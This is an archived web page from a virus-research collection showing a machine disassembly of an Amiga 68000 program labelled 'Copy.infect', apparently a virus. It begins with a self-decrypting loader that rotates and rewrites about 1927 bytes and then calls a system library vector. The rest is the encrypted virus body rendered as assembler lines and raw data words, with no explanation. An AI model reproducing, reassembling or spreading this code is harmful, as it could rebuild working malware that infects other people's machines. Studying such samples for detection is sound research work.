home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / beol96 / Copy.infect.asm < prev    next >
Assembly Source File  |  2013-02-12  |  83KB  |  3,025 lines

  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. EXT_0000    EQU    $5DB6
  5. EXT_0001    EQU    $20365E4
  6. EXT_0002    EQU    $5E3D55F
  7. EXT_0003    EQU    $151E9285
  8. EXT_0004    EQU    $1834839E
  9. EXT_0005    EQU    $523F04F4
  10. EXT_0006    EQU    $8953E499
  11. EXT_0007    EQU    $9EDF1F02
  12. EXT_0008    EQU    $C51E0E62
  13. EXT_0009    EQU    $FF7D3282
  14. EXT_000A    EQU    $FFFFEC87
  15. EXT_000B    EQU    $FFFFF7A4
  16.  
  17.  
  18.  
  19.  
  20.     SECTION S_0,CODE
  21.  
  22. SECSTRT_0:
  23.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0000: 48E7FFFE
  24.     MOVEQ    #4,D3            ;0004: 7604
  25.     MOVEA.L    D3,A3            ;0006: 2643
  26.     MOVEA.L    (A3),A6            ;0008: 2C53
  27.     PEA    LAB_0001(PC)        ;000A: 487A0026
  28.     MOVEA.L    (A7)+,A5        ;000E: 2A5F
  29.     PEA    (1927).W        ;0010: 48780787
  30.     MOVE.L    (A7)+,D0        ;0014: 201F
  31. LAB_0000:
  32.     DC.W    $0A15            ;0016
  33.     ROXL    D5,D0            ;0018: EB70
  34.     MOVE.B    (A5),D1            ;001A: 1215
  35.     ROL.B    #3,D1            ;001C: E719
  36.     MOVE.B    D1,(A5)            ;001E: 1A81
  37.     DC.W    $0615            ;0020
  38.     DC.W    $1450            ;0022
  39.     MOVEQ    #1,D1            ;0024: 7201
  40.     ADDA    D1,A5            ;0026: DAC1
  41.     SUBQ    #1,D0            ;0028: 5340
  42.     BPL    LAB_0000        ;002A: 6A00FFEA
  43.     JSR    -636(A6)        ;002E: 4EAEFD84
  44. LAB_0001:
  45.     DC.W    $ECED            ;0032
  46.     OR.L    (A0),D3            ;0034: 8690
  47. LAB_0002:
  48.     ADD.B    D0,20261(A6)        ;0036: D12E4F25
  49.     DC.W    $66AB            ;003A
  50.     BCHG    D7,-(A5)        ;003C: 0F65
  51.     DC.W    $2729            ;003E
  52.     DC.W    $EBD3            ;0040
  53.     AND.B    -(A3),D2        ;0042: C423
  54.     DC.W    $27E8            ;0044
  55.     DC.W    $08E2            ;0046
  56.     BVC.S    LAB_0001        ;0048: 68E8
  57.     OR    26998(A1),D1        ;004A: 82696976
  58.     BVC.S    LAB_0002+2        ;004E: 68E8
  59.     OR    26998(A1),D1        ;0050: 82696976
  60.     MOVE    12078(A7),(A0)+        ;0054: 30EF2F2E
  61.     SUB.L    -(A6),D1        ;0058: 92A6
  62.     MOVE.B    29286(A6),D0        ;005A: 102E7266
  63.     OR.L    D2,-(A2)        ;005E: 85A2
  64.     DC.W    $0EA3            ;0060
  65.     DC.W    $674F            ;0062
  66.     DC.W    $AF5B            ;0064
  67.     DC.W    $C40D            ;0066
  68.     ADDA    D6,A7            ;0068: DEC6
  69.     BCS.S    LAB_0003+2        ;006A: 6572
  70.     DC.W    $F279            ;006C
  71.     SUBQ.L    #7,D7            ;006E: 5F87
  72.     ROXR    D1,D2            ;0070: E272
  73.     ADD.B    D4,-(A0)        ;0072: D920
  74.     DC.W    $F67C            ;0074
  75.     DC.W    $15F8            ;0076
  76.     DC.W    $F7A4            ;0078
  77.     ROR    D2,D4            ;007A: E47C
  78.     DC.W    $8B81            ;007C
  79.     DC.W    $F678            ;007E
  80.     DC.W    $EFE6            ;0080
  81.     LSR    -(A4)            ;0082: E2E4
  82.     DC.W    $F044            ;0084
  83.     ADDA.L    D2,A7            ;0086: DFC2
  84.     SCS    -(A5)            ;0088: 55E5
  85.     SMI    D2            ;008A: 5BC2
  86.     ADDA    -(A2),A1        ;008C: D2E2
  87.     BCLR    D4,(A5)            ;008E: 0995
  88.     ADDA    D7,A7            ;0090: DEC7
  89.     LSR    -(A5)            ;0092: E2E5
  90.     AND.L    D0,(A1)            ;0094: C191
  91.     DC.W    $08A4            ;0096
  92.     DC.W    $837E            ;0098
  93.     DC.W    $1679            ;009A
  94.     DC.W    $1834            ;009C
  95.     OR.L    D1,(A6)+        ;009E: 839E
  96.     CMPA.L    D6,A3            ;00A0: B7C6
  97.     SUB.B    D4,-18665(A0)        ;00A2: 9928B717
  98.     MOVE.B    (A2)+,-(A3)        ;00A6: 171A
  99.     BTST    D2,D6            ;00A8: 0506
  100.     MOVE.B    (A2)+,-(A5)        ;00AA: 1B1A
  101.     DC.W    $63C3            ;00AC
  102.     DC.W    $B5B7            ;00AE
  103.     DC.W    $F4C3            ;00B0
  104.     DC.W    $0416            ;00B2
  105.     MOVE.L    (A5)+,D3        ;00B4: 261D
  106.     CMPA    (A7),A7            ;00B6: BED7
  107.     DC.W    $99F3            ;00B8
  108.     SVS    D4            ;00BA: 59C4
  109.     AND    D2,D1            ;00BC: C242
  110.     NOT.L    (A2)+            ;00BE: 469A
  111.     DC.W    $23BA            ;00C0
  112.     DC.W    $185B            ;00C2
  113.     DC.W    $0E62            ;00C4
  114.     DC.W    $125B            ;00C6
  115.     DC.W    $0403            ;00C8
  116.     ADD.L    (A7)+,D0        ;00CA: D09F
  117.     MOVE.B    (A3)+,-(A6)        ;00CC: 1D1B
  118.     DC.W    $A162            ;00CE
  119.     BCHG    D2,(A6)            ;00D0: 0556
  120.     DC.W    $3F92            ;00D2
  121.     ABCD    D4,D2            ;00D4: C504
  122.     DC.W    $C97B            ;00D6
  123.     DC.W    $80FB            ;00D8
  124.     DC.W    $14FF            ;00DA
  125. LAB_0003:
  126.     ANDI.L    #$04FF631F,-(A3)    ;00DC: 02A304FF631F
  127.     DC.W    $0E83            ;00E2
  128.     ASL    D7,D2            ;00E4: EF62
  129.     DC.W    $3238            ;00E6
  130.     DC.W    $0421            ;00E8
  131.     DC.W    $027E            ;00EA
  132.     MOVEA    (A6)+,A7        ;00EC: 3E5E
  133.     DC.W    $F37A            ;00EE
  134.     DC.W    $0588            ;00F0
  135.     BTST    D7,-(A7)        ;00F2: 0F27
  136.     MOVEA    D2,A1            ;00F4: 3242
  137.     SUBX.L    D1,D7            ;00F6: 9F81
  138.     DC.W    $629B            ;00F8
  139.     DC.W    $3F39            ;00FA
  140.     SHI    (A3)+            ;00FC: 52DB
  141.     DC.W    $FFCF            ;00FE
  142.     MOVE.L    (A7)+,-28994(A7)    ;0100: 2F5F8EBE
  143.     AND.B    D2,D3            ;0104: C602
  144.     DC.W    $3FCA            ;0106
  145.     DC.W    $1BE3            ;0108
  146.     DC.W    $3FCA            ;010A
  147.     EOR.L    D4,D4            ;010C: B984
  148.     DC.W    $3FCA            ;010E
  149.     DC.W    $17E3            ;0110
  150.     DC.W    $3FCA            ;0112
  151.     OR    D3,D2            ;0114: 8443
  152.     DC.W    $33D4            ;0116
  153.     DC.W    $3384            ;0118
  154.     AND    D1,(A3)            ;011A: C353
  155.     BTST    D1,D3            ;011C: 0303
  156.     MOVE.B    -(A3),-5869(A1)        ;011E: 1363E913
  157.     DC.W    $A3D9            ;0122
  158.     MOVE.B    D3,EXT_0006        ;0124: 13C38953E499
  159.     DC.W    $53F3            ;012A
  160.     DC.W    $F393            ;012C
  161.     BTST    D1,D3            ;012E: 0303
  162.     DC.W    $E3F3            ;0130
  163.     DC.W    $A984            ;0132
  164. LAB_0004:
  165.     DC.W    $F393            ;0134
  166.     DC.W    $F303            ;0136
  167.     MOVE.B    -(A4),(A5)+        ;0138: 1AE4
  168.     BTST    D3,D2            ;013A: 0702
  169.     EXG    D1,D4            ;013C: C344
  170.     BLS.S    LAB_0004        ;013E: 63F4
  171.     MOVE.B    (A3),(A1)        ;0140: 1293
  172.     DC.W    $0E62            ;0142
  173.     MOVE.L    D2,-(A1)        ;0144: 2302
  174.     MOVE.B    (A3),(A1)        ;0146: 1293
  175.     DC.W    $0E62            ;0148
  176.     DC.W    $3343            ;014A
  177.     SUBX.B    -(A7),-(A1)        ;014C: 930F
  178.     SUB.B    D5,(A2)            ;014E: 9B12
  179.     SUBX.B    -(A6),-(A1)        ;0150: 930E
  180.     DC.W    $6203            ;0152
  181.     CHK    (A3),D1            ;0154: 4393
  182.     DC.W    $1F9B            ;0156
  183.     AND.L    D1,(A7)+        ;0158: C39F
  184.     MOVEQ    #35,D5            ;015A: 7A23
  185.     MOVE.B    (A3),(A1)        ;015C: 1293
  186.     DC.W    $0430            ;015E
  187.     DC.W    $02C3            ;0160
  188.     DC.W    $1374            ;0162
  189.     EOR.B    D2,(A2)            ;0164: B512
  190.     SBCD    -(A6),-(A1)        ;0166: 830E
  191.     DIVU    D3,D1            ;0168: 82C3
  192.     DC.W    $A3D2            ;016A
  193.     DC.W    $F3E3            ;016C
  194.     SBCD    D4,D1            ;016E: 8304
  195.     SBCD    D2,D1            ;0170: 8302
  196.     ADD.L    D1,(A7)+        ;0172: D39F
  197.     SUB.L    -(A3),D5        ;0174: 9AA3
  198.     ADD.B    (A2),D1            ;0176: D212
  199.     ASL.B    #1,D4            ;0178: E304
  200.     MOVE    D2,D2            ;017A: 3402
  201.     MOVE.B    -(A3),(A1)+        ;017C: 12E3
  202.     BCHG    D2,(A6)+        ;017E: 055E
  203.     DC.W    $73A3            ;0180
  204.     DC.W    $A3D2            ;0182
  205.     DC.W    $43E3            ;0184
  206.     BTST    D7,(A6)+        ;0186: 0F1E
  207.     MOVE.B    -(A3),(A1)+        ;0188: 12E3
  208.     BCHG    D2,(A6)+        ;018A: 055E
  209.     DC.W    $A3A3            ;018C
  210.     ADDA    -(A3),A1        ;018E: D2E3
  211.     ASL.L    D1,D3            ;0190: E3A3
  212.     DC.W    $1EB3            ;0192
  213.     DC.W    $1ACB            ;0194
  214.     DC.W    $CBAD            ;0196
  215.     SUBQ.L    #3,(A3)            ;0198: 5793
  216.     DC.W    $4A35            ;019A
  217.     DC.W    $1FB3            ;019C
  218.     AND.L    D1,(A3)            ;019E: C393
  219.     DC.W    $D434            ;01A0
  220.     ROXL.L    #1,D3            ;01A2: E393
  221.     ROR.L    #8,D7            ;01A4: E09F
  222.     DC.W    $02E3            ;01A6
  223.     SUB.L    D1,(A7)+        ;01A8: 939F
  224.     DC.W    $1FC3            ;01AA
  225.     LSR.L    D0,D4            ;01AC: E0AC
  226.     MOVE.B    (A3),(A1)        ;01AE: 1293
  227.     DC.W    $0430            ;01B0
  228.     DC.W    $0212            ;01B2
  229.     DC.W    $F301            ;01B4
  230.     DC.W    $12F3            ;01B6
  231.     DC.W    $93F3            ;01B8
  232.     MOVE.B    (A6),-(A3)        ;01BA: 1716
  233.     DC.W    $02F3            ;01BC
  234.     DC.W    $F393            ;01BE
  235.     BCLR    D1,D4            ;01C0: 0384
  236.     DC.W    $02B5            ;01C2
  237.     AND.L    D1,(A3)            ;01C4: C393
  238.     MOVE.B    (A3),-(A1)        ;01C6: 1313
  239.     LSL    -(A3)            ;01C8: E3E3
  240.     BCLR    D7,(A7)            ;01CA: 0F97
  241.     DC.W    $63E3            ;01CC
  242.     DC.W    $E3F0            ;01CE
  243.     MOVE.B    D3,(A7)+        ;01D0: 1EC3
  244.     BSR.S    LAB_0005        ;01D2: 6102
  245.     DC.W    $63E3            ;01D4
  246. LAB_0005:
  247.     ROL    D1,D7            ;01D6: E37F
  248.     MOVE.B    D3,(A7)+        ;01D8: 1EC3
  249.     EOR.L    D0,-(A3)        ;01DA: B1A3
  250.     LSL    -(A3)            ;01DC: E3E3
  251.     DC.W    $F01E            ;01DE
  252.     ABCD    D0,D1            ;01E0: C300
  253.     ANDI    #$16C3,-(A3)        ;01E2: 026316C3
  254.     DC.W    $3374            ;01E6
  255.     CMPA.L    (A3),A2            ;01E8: B5D3
  256.     DC.W    $9F7A            ;01EA
  257.     ANDI.L    #$D33F3952,-(A3)    ;01EC: 02A3D33F3952
  258.     ADDX.B    D2,D5            ;01F2: DB02
  259.     DC.W    $12B3            ;01F4
  260.     DC.W    $0E39            ;01F6
  261.     DC.W    $A352            ;01F8
  262.     ADDA.L    -(A3),A5        ;01FA: DBE3
  263.     DC.W    $B33F            ;01FC
  264.     DC.W    $9DB3            ;01FE
  265.     MOVE.B    (A2),D1            ;0200: 1212
  266.     BCHG    D2,(A6)+        ;0202: 055E
  267.     OR    D1,(A2)            ;0204: 8352
  268.     ADDA.L    D3,A5            ;0206: DBC3
  269.     DC.W    $3FB6            ;0208
  270.     SUB.B    D1,(A2)            ;020A: 9312
  271.     DC.W    $D33F            ;020C
  272.     MOVE    (A2),-9470(A6)        ;020E: 3D52DB02
  273.     AND    D1,-(A3)        ;0212: C363
  274.     DIVU    D5,D2            ;0214: 84C5
  275.     ADDX    D5,D1            ;0216: D345
  276.     SUB.B    D2,D5            ;0218: 9A02
  277.     ABCD    D2,D1            ;021A: C302
  278.     MOVE.B    D2,D1            ;021C: 1202
  279.     BSET    D0,D3            ;021E: 01C3
  280.     DC.W    $F3A3            ;0220
  281.     DC.W    $0204            ;0222
  282.     MOVE.B    -(A3),(A7)+        ;0224: 1EE3
  283.     DC.W    $A345            ;0226
  284.     MOVE.B    D2,-(A7)        ;0228: 1F02
  285.     MOVE.B    D2,D1            ;022A: 1202
  286.     SUBI.L    #$C302C3E3,(A6)+    ;022C: 049EC302C3E3
  287.     ANDI    #$1E02,D5        ;0232: 02451E02
  288.     MOVE.B    -(A3),(A1)        ;0236: 12A3
  289.     DC.W    $0E82            ;0238
  290.     DC.W    $A302            ;023A
  291.     MULS    -(A3),D1        ;023C: C3E3
  292.     DC.W    $A345            ;023E
  293.     DC.W    $81B3            ;0240
  294.     MOVE.B    -(A3),D0        ;0242: 1023
  295.     DC.W    $0E29            ;0244
  296.     ANDI.L    #$451F04FB,(A6)+    ;0246: 029E451F04FB
  297.     SUBQ.B    #7,11826(A0)        ;024C: 5F282E32
  298.     DC.W    $3FCA            ;0250
  299.     SUB.L    D7,12834(A1)        ;0252: 9FA93222
  300.     DC.W    $3F3D            ;0256
  301.     MOVEA    (A2)+,A1        ;0258: 325A
  302.     DC.W    $FA53            ;025A
  303.     ASL    D7,D2            ;025C: EF62
  304.     ANDI    #$0421,-(A5)        ;025E: 02650421
  305.     MOVE.B    (A5)+,(A1)+        ;0262: 12DD
  306.     MOVE.B    D3,D0            ;0264: 1003
  307.     DC.W    $0421            ;0266
  308.     DC.W    $12BC            ;0268
  309.     DC.W    $1063            ;026A
  310.     DC.W    $3F3D            ;026C
  311.     DC.W    $32BA            ;026E
  312.     SUBQ.B    #7,10802(A0)        ;0270: 5F282A32
  313.     DC.W    $3FCA            ;0274
  314.     DC.W    $7F1B            ;0276
  315.     EOR    D0,-(A2)        ;0278: B162
  316.     DC.W    $F685            ;027A
  317.     ANDI.L    #$A1C3148F,D3        ;027C: 0283A1C3148F
  318.     DC.W    $02D6            ;0282
  319.     SUBI.B    #$39,(A7)+        ;0284: 041F0039
  320.     SUB.L    D7,10786(A1)        ;0288: 9FA92A22
  321.     CHK    (A2)+,D2        ;028C: 459A
  322.     DC.W    $02C3            ;028E
  323.     DC.W    $A521            ;0290
  324.     MOVE.B    D4,(A1)+        ;0292: 12C4
  325.     DC.W    $AF69            ;0294
  326.     DC.W    $02BF            ;0296
  327.     MOVE.B    D2,D0            ;0298: 1002
  328.     ROXL.B    #1,D7            ;029A: E317
  329.     BCS.S    LAB_0006+2        ;029C: 651E
  330.     DC.W    $8F82            ;029E
  331.     ANDI.L    #$88490263,D4        ;02A0: 028488490263
  332.     DC.W    $107D            ;02A6
  333.     EOR    D7,(A5)            ;02A8: BF55
  334.     ANDI.L    #$713E4545,(A3)        ;02AA: 0293713E4545
  335.     MOVEA    (A1)+,A1        ;02B0: 3259
  336.     DC.W    $04BF            ;02B2
  337.     DC.W    $7F9D            ;02B4
  338.     DC.W    $0200            ;02B6
  339.     DC.W    $A1FE            ;02B8
  340. LAB_0006:
  341.     SUBI    #$3219,D5        ;02BA: 04453219
  342.     MOVE.B    -(A4),D0        ;02BE: 1024
  343.     AND    D1,-(A3)        ;02C0: C363
  344.     DC.W    $02FE            ;02C2
  345.     DC.W    $F329            ;02C4
  346.     DC.W    $127F            ;02C6
  347.     DC.W    $F349            ;02C8
  348.     DC.W    $02DD            ;02CA
  349.     DC.W    $02E0            ;02CC
  350.     MOVE.B    (A7)+,D1        ;02CE: 121F
  351.     ANDI.L    #$02E502B4,D4        ;02D0: 028402E502B4
  352.     DC.W    $0224            ;02D6
  353.     MOVE.B    (A7),-(A3)        ;02D8: 1717
  354.     MOVE    (A3)+,-(A7)        ;02DA: 3F1B
  355.     ORI    #$0430,-(A3)        ;02DC: 00630430
  356.     DC.W    $1D80            ;02E0
  357.     CMPA.L    D2,A0            ;02E2: B1C2
  358.     DC.W    $FE80            ;02E4
  359.     SUBQ.L    #8,D2            ;02E6: 5182
  360.     DC.W    $FF55            ;02E8
  361.     ANDI.L    #$04535F28,(A3)        ;02EA: 029304535F28
  362.     MOVE.L    -(A2),D5        ;02F0: 2A22
  363.     DC.W    $3FCA            ;02F2
  364.     BCLR    D5,(A7)            ;02F4: 0B97
  365.     DC.W    $0475            ;02F6
  366.     ANDI.L    #$C99BB100,-(A1)    ;02F8: 02A1C99BB100
  367.     DC.W    $0405            ;02FE
  368.     SBCD    D3,D1            ;0300: 8303
  369.     AND.L    D4,(A3)+        ;0302: C99B
  370.     EOR.L    D0,D0            ;0304: B180
  371.     DC.W    $041E            ;0306
  372.     BTST    D0,D2            ;0308: 0102
  373.     BCLR    D1,D4            ;030A: 0384
  374.     MOVE.B    (A6),-(A3)        ;030C: 1716
  375.     MOVE.B    D4,(A0)+        ;030E: 10C4
  376.     DC.W    $F31C            ;0310
  377.     SUB.L    (A7)+,D6        ;0312: 9C9F
  378.     DC.W    $00E3            ;0314
  379.     DC.W    $1B9F            ;0316
  380.     SUBI.L    #$1E840185,D3        ;0318: 04831E840185
  381.     BCLR    D1,D0            ;031E: 0380
  382.     DC.W    $1B9A            ;0320
  383.     DC.W    $9632            ;0322
  384.     ROXL.B    D2,D0            ;0324: E530
  385.     DC.W    $00E3            ;0326
  386.     DC.W    $F8A7            ;0328
  387.     MOVE    D2,D5            ;032A: 3A02
  388.     MOVE.L    (A4),(A2)        ;032C: 2494
  389.     DC.W    $7125            ;032E
  390.     AND.L    D2,(A7)+        ;0330: C59F
  391.     BSET    D1,-(A5)        ;0332: 03E5
  392.     DC.W    $A983            ;0334
  393.     DC.W    $1D94            ;0336
  394.     DC.W    $A139            ;0338
  395.     BTST    D7,-(A7)        ;033A: 0F27
  396.     MOVE    -(A2),(A1)        ;033C: 32A2
  397.     BSET    D0,D5            ;033E: 01C5
  398.     DC.W    $17DC            ;0340
  399.     AND.L    D4,(A3)+        ;0342: C99B
  400.     DC.W    $041E            ;0344
  401.     ROL.L    #2,D7            ;0346: E59F
  402.     MOVE.B    -(A4),(A0)        ;0348: 10A4
  403.     DC.W    $A1E4            ;034A
  404.     MOVE.B    (A6),-(A3)        ;034C: 1716
  405.     DC.W    $3AF3            ;034E
  406.     BCLR    D1,D4            ;0350: 0384
  407.     MOVE.B    D0,(A4)            ;0352: 1880
  408.     BTST    D7,-(A7)        ;0354: 0F27
  409.     MOVEA    -(A2),A1        ;0356: 3262
  410.     CMPA.L    D3,A0            ;0358: B1C3
  411.     DC.W    $F51E            ;035A
  412.     MOVEA    (A1)+,A1        ;035C: 3259
  413.     DC.W    $3FCA            ;035E
  414.     BTST    D0,D2            ;0360: 0102
  415.     BTST    D1,D3            ;0362: 0303
  416.     SUB.B    (A6)+,D0        ;0364: 901E
  417.     SF    D3            ;0366: 51C3
  418.     DC.W    $7F05            ;0368
  419.     DC.W    $0212            ;036A
  420.     DC.W    $3FCA            ;036C
  421.     MOVE.B    D2,D0            ;036E: 1002
  422.     ANDI    #$7F5D,(A3)+        ;0370: 025B7F5D
  423.     MOVE    D2,(A1)+        ;0374: 32C2
  424.     CMPA.L    D2,A0            ;0376: B1C2
  425.     DC.W    $010E            ;0378
  426.     AND.L    D4,(A3)+        ;037A: C99B
  427.     DC.W    $FA12            ;037C
  428.     DC.W    $3F3D            ;037E
  429.     SHI    D0            ;0380: 52C0
  430.     DC.W    $A51A            ;0382
  431.     EOR.L    D0,EXT_0008        ;0384: B1B9C51E0E62
  432.     ASL.B    #1,D3            ;038A: E303
  433.     MOVE.B    -(A0),(A0)+        ;038C: 10E0
  434.     SUBI    #$025A,-(A1)        ;038E: 0461025A
  435.     CMP    -(A1),D0        ;0392: B061
  436.     ANDI    #$41E3,(A2)+        ;0394: 025A41E3
  437.     DC.W    $1FCF            ;0398
  438.     DC.W    $4100            ;039A
  439.     DC.W    $6583            ;039C
  440.     MOVE.B    D2,-31773(A3)        ;039E: 174283E3
  441.     SUBI.L    #$FA123F3D,D3        ;03A2: 0483FA123F3D
  442.     SHI    D0            ;03A8: 52C0
  443.     AND.B    D2,(A6)            ;03AA: C516
  444.     DC.W    $C5CB            ;03AC
  445.     DC.W    $077C            ;03AE
  446.     AND.B    D2,(A6)            ;03B0: C516
  447.     EOR.L    D0,-(A3)        ;03B2: B1A3
  448.     DC.W    $0E79            ;03B4
  449.     DC.W    $02DB            ;03B6
  450.     DC.W    $10BD            ;03B8
  451.     EOR.B    D0,(A6)+        ;03BA: B11E
  452.     OR.B    D3,D0            ;03BC: 8003
  453.     ROL.B    #7,D1            ;03BE: EF19
  454.     DC.W    $02D3            ;03C0
  455.     DC.W    $FF94            ;03C2
  456.     DC.W    $E4C7            ;03C4
  457.     DC.W    $184B            ;03C6
  458.     DC.W    $A162            ;03C8
  459.     MULS    (A7),D2            ;03CA: C5D7
  460.     SUBI    #$02C3,D5        ;03CC: 044502C3
  461.     AND.L    D4,(A3)+        ;03D0: C99B
  462.     DC.W    $041E            ;03D2
  463.     BCLR    D1,D4            ;03D4: 0384
  464.     AND.B    (A6),D2            ;03D6: C416
  465.     AND.L    (A0)+,D2        ;03D8: C498
  466.     DC.W    $F002            ;03DA
  467.     MOVE.L    -(A2),16330(A0)        ;03DC: 21623FCA
  468.     ROL    #7,D1            ;03E0: EF59
  469.     DC.W    $0203            ;03E2
  470.     DC.W    $FA93            ;03E4
  471.     MOVE    (A4),-(A2)        ;03E6: 3514
  472.     BCLR    D7,D7            ;03E8: 0F87
  473.     MOVEA    D2,A1            ;03EA: 3242
  474.     MOVE    (A3)+,-(A7)        ;03EC: 3F1B
  475.     ROL    #7,D1            ;03EE: EF59
  476.     MOVE    (A1)+,(A1)        ;03F0: 3299
  477.     DC.W    $FA93            ;03F2
  478.     LSL.B    D2,D0            ;03F4: E528
  479.     BCLR    D7,D7            ;03F6: 0F87
  480.     MOVEA    D2,A1            ;03F8: 3242
  481.     DC.W    $3FCA            ;03FA
  482.     DC.W    $04F4            ;03FC
  483.     EOR.B    D0,(EXT_000A).W        ;03FE: B138EC87
  484.     ROXL.B    #2,D1            ;0402: E511
  485.     DC.W    $8383            ;0404
  486.     MOVE.B    D3,(A0)+        ;0406: 10C3
  487.     DC.W    $E5F0            ;0408
  488.     DC.W    $FFEC            ;040A
  489.     MOVE    EXT_0005,-(A7)        ;040C: 3F39523F04F4
  490.     EOR.L    D0,(A1)+        ;0412: B199
  491.     AND.B    D2,(A6)+        ;0414: C51E
  492.     DC.W    $0E62            ;0416
  493.     MOVE.B    -(A1),(A1)+        ;0418: 12E1
  494.     MOVE.B    (A7),(A0)+        ;041A: 10D7
  495.     DC.W    $0038            ;041C
  496.     DC.W    $04F4            ;041E
  497.     EOR    D0,(A6)            ;0420: B156
  498.     AND.B    D2,(A6)+        ;0422: C51E
  499.     ASL    D2,D0            ;0424: E560
  500.     SUBI    #$32C2,D5        ;0426: 044532C2
  501.     DC.W    $B1F6            ;042A
  502.     BCS.S    LAB_0007        ;042C: 6502
  503.     ROXR.B    #4,D6            ;042E: E816
  504. LAB_0007:
  505.     DC.W    $E6F8            ;0430
  506.     DC.W    $2197            ;0432
  507.     ADD.L    D2,(A3)            ;0434: D593
  508.     ROXR.B    #6,D6            ;0436: EC16
  509.     DC.W    $04C0            ;0438
  510.     DC.W    $3F3D            ;043A
  511.     ADDQ.B    #1,(A3)+        ;043C: 521B
  512.     MOVEQ    #93,D3            ;043E: 765D
  513.     DC.W    $02C3            ;0440
  514.     DC.W    $B17C            ;0442
  515.     ASL    D2,D0            ;0444: E560
  516.     ROR    D3,D0            ;0446: E678
  517.     DC.W    $A1F6            ;0448
  518.     MULS    -(A0),D2        ;044A: C5E0
  519.     DC.W    $C37C            ;044C
  520.     DC.W    $0202            ;044E
  521.     DC.W    $F3F2            ;0450
  522.     DC.W    $A19D            ;0452
  523.     DC.W    $3593            ;0454
  524.     MOVEQ    #94,D7            ;0456: 7E5E
  525.     DC.W    $A3D2            ;0458
  526.     DC.W    $F842            ;045A
  527.     CMPA.L    -(A3),A1        ;045C: B3E3
  528.     DC.W    $0E62            ;045E
  529.     DC.W    $F360            ;0460
  530.     MOVE.B    D2,D0            ;0462: 1002
  531.     DC.W    $12BA            ;0464
  532.     DC.W    $807F            ;0466
  533.     DC.W    $047F            ;0468
  534.     SBCD    D3,D2            ;046A: 8503
  535.     ROR.B    #8,D3            ;046C: E01B
  536.     MOVE.B    (A3)+,-100(A7,A6.W)    ;046E: 1F9BE09C
  537.     AND    D4,(A3)+        ;0472: C95B
  538.     BSET    D3,(A7)            ;0474: 07D7
  539.     ADD    D4,(A3)+        ;0476: D95B
  540.     CMP.B    D2,D5            ;0478: BA02
  541.     MOVE    D2,(A5)            ;047A: 3A82
  542.     SUBI.L    #$C31EF399,D4        ;047C: 0484C31EF399
  543.     DC.W    $61C3            ;0482
  544.     DC.W    $0434            ;0484
  545.     DC.W    $A116            ;0486
  546.     DC.W    $431E            ;0488
  547.     DC.W    $0273            ;048A
  548.     CHK    -(A2),D0        ;048C: 41A2
  549.     BCHG    D1,675(A6)        ;048E: 036E02A3
  550.     DC.W    $3F72            ;0492
  551.     DC.W    $02E3            ;0494
  552.     ADDX    D3,D7            ;0496: DF43
  553.     DC.W    $435F            ;0498
  554.     DC.W    $4539            ;049A
  555.     MOVE    EXT_0007,-(A4)        ;049C: 39399EDF1F02
  556.     ASL.L    #2,D4            ;04A2: E584
  557.     DC.W    $7FAB            ;04A4
  558.     DC.W    $61C3            ;04A6
  559.     MOVE    (A3)+,(A4)        ;04A8: 389B
  560.     AND.B    (A7)+,D3        ;04AA: C61F
  561.     CHK    D1,D1            ;04AC: 4381
  562.     DC.W    $3FCA            ;04AE
  563.     DC.W    $02E3            ;04B0
  564.     EOR.B    D0,(A7)            ;04B2: B117
  565.     EXG    D4,A3            ;04B4: C98B
  566.     BTST    D3,D6            ;04B6: 0706
  567.     DC.W    $7FE7            ;04B8
  568.     EOR.B    D0,(A6)            ;04BA: B116
  569.     DC.W    $F0DF            ;04BC
  570.     CMPA.L    (A7),A0            ;04BE: B1D7
  571.     DC.W    $0076            ;04C0
  572.     ASL.L    #2,D4            ;04C2: E584
  573.     EOR.L    D0,-100(A6,A6.W)    ;04C4: B1B6E09C
  574.     EXG    D4,A3            ;04C8: C98B
  575.     BTST    D3,D6            ;04CA: 0706
  576.     DC.W    $00C2            ;04CC
  577.     ASL.L    #2,D4            ;04CE: E584
  578.     DC.W    $B17D            ;04D0
  579.     EXG    D4,A3            ;04D2: C98B
  580.     DC.W    $0E19            ;04D4
  581.     DIVU    D3,D2            ;04D6: 84C3
  582.     DC.W    $00C2            ;04D8
  583.     ASL.L    #2,D4            ;04DA: E584
  584.     EXG    D4,A3            ;04DC: C98B
  585.     BTST    D3,D6            ;04DE: 0706
  586.     ORI    #$809B,SR        ;04E0: 007C809B
  587.     DC.W    $00F8            ;04E4
  588.     CMP.B    D2,D5            ;04E6: BA02
  589.     DC.W    $F0DF            ;04E8
  590.     DC.W    $A11B            ;04EA
  591.     DC.W    $A583            ;04EC
  592.     CMP.B    -24100(A4),D3        ;04EE: B62CA1DC
  593.     DC.W    $0E62            ;04F2
  594.     DC.W    $027F            ;04F4
  595.     MOVE.B    D3,(A0)+        ;04F6: 10C3
  596.     DC.W    $0E62            ;04F8
  597.     ANDI.L    #$000222F9,-(A3)    ;04FA: 02A3000222F9
  598.     BCLR    D0,D3            ;0500: 0183
  599.     DC.W    $FA32            ;0502
  600.     SUBA.L    (A0)+,A7        ;0504: 9FD8
  601.     DC.W    $02F3            ;0506
  602.     BCHG    D2,(A6)+        ;0508: 055E
  603.     DC.W    $F319            ;050A
  604.     MOVE.B    (A7)+,(A0)        ;050C: 109F
  605.     DC.W    $857B            ;050E
  606.     BCHG    D0,D3            ;0510: 0143
  607.     SUB.B    D2,(A6)+        ;0512: 951E
  608.     DC.W    $02C3            ;0514
  609.     BCLR    D0,94(A0,D1.W)        ;0516: 01B0105E
  610.     DC.W    $1F7F            ;051A
  611.     DC.W    $C5CB            ;051C
  612.     DC.W    $3C7B            ;051E
  613.     DC.W    $857B            ;0520
  614.     DC.W    $95AF            ;0522
  615.     DC.W    $02C3            ;0524
  616.     DC.W    $387B            ;0526
  617.     MOVE.B    D5,D0            ;0528: 1005
  618.     DC.W    $A0CF            ;052A
  619.     EXG    A4,A3            ;052C: C94B
  620.     SUBA.L    (A0)+,A7        ;052E: 9FD8
  621.     ANDI.L    #$10A5BCAB,D5        ;0530: 028510A5BCAB
  622.     DC.W    $85AB            ;0536
  623.     DC.W    $95EF            ;0538
  624.     DC.W    $02C3            ;053A
  625.     ORI    #$FA02,D4        ;053C: 0044FA02
  626.     DC.W    $FF5D            ;0540
  627.     MOVEA    D2,A1            ;0542: 3242
  628.     BTST    D0,D3            ;0544: 0103
  629.     DC.W    $17EC            ;0546
